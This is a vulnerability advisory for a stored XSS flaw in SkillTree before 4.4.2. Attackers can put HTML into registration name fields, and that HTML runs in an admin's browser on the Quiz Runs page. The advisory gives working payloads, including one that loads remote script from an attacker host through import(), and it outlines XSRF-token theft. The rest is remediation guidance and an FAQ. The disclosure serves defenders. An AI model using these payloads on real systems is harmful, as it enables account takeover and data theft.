CVE-2026-54694: NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings directly into a template literal with no HTML entity encoding. HighlightedValue.vue renders that string — and all unfiltered plain values — via Vue's v-html directive, which sets innerHTML. Separately, the account registration endpoint accepts firstName, lastName, and nickname fields and stores them without any HTML sanitization. An attacker self-registers with firstName = "<img src=x onerror=alert(1)>" (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. <img src=x onerror=alert(1)>, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via import(). Using the split-field technique (lastName = "<img src=x", firstName = "onerror=import('//nsas.cc/p')>"), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (//nsas.cc/p). The third is full cross-site request forgery token theft. Using eval(name), the attacker pre-sets window.name to a data-theft payload by sending the admin one redirect link first. The session cookie is HttpOnly and cannot be read via document.cookie; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
NationalSecurityAgency/skills-serviceto a version that resolves this vulnerability.Fixed in 4.4.2 - Configuration
Change HighlightedValue.vue so it does not render untrusted registration fields via Vue's v-html (which sets innerHTML); render escaped text instead.
HighlightedValue.vue v-html rendering = remove raw unfiltered HTML rendering (do not use v-html for user-supplied fields like firstName/lastName/nickname) - Configuration
Update StringHighlighter.js to HTML-entity encode/escape the raw value substrings before interpolating them into template literals used to build HTML.
StringHighlighter.js HTML template interpolation = encode/escape interpolated value substrings before inserting into HTML string
Event History
Frequently Asked Questions
Who is exposed to exploitation?
Administrators are exposed when they open the Quiz Runs page after an attacker has registered an account containing a crafted value and visited a quiz. The payload executes in the administrator's browser during normal navigation to that page.
What does an attacker need to do?
The attacker can self-register and place a self-contained HTML/JavaScript payload in the firstName, lastName, or nickname fields, which are stored without sanitization. The supplied example fits within the 30-character field limit, and the attacker then visits a quiz to trigger the stored payload's later appearance in Quiz Runs.
Is user interaction required?
No interaction is required from the attacker beyond creating the crafted account and visiting a quiz. An administrator must navigate to the Quiz Runs page, at which point the payload fires automatically in that administrator's browser.
Which versions should be updated?
The issue affects SkillTree versions prior to 4.4.2. Update to version 4.4.2 or later.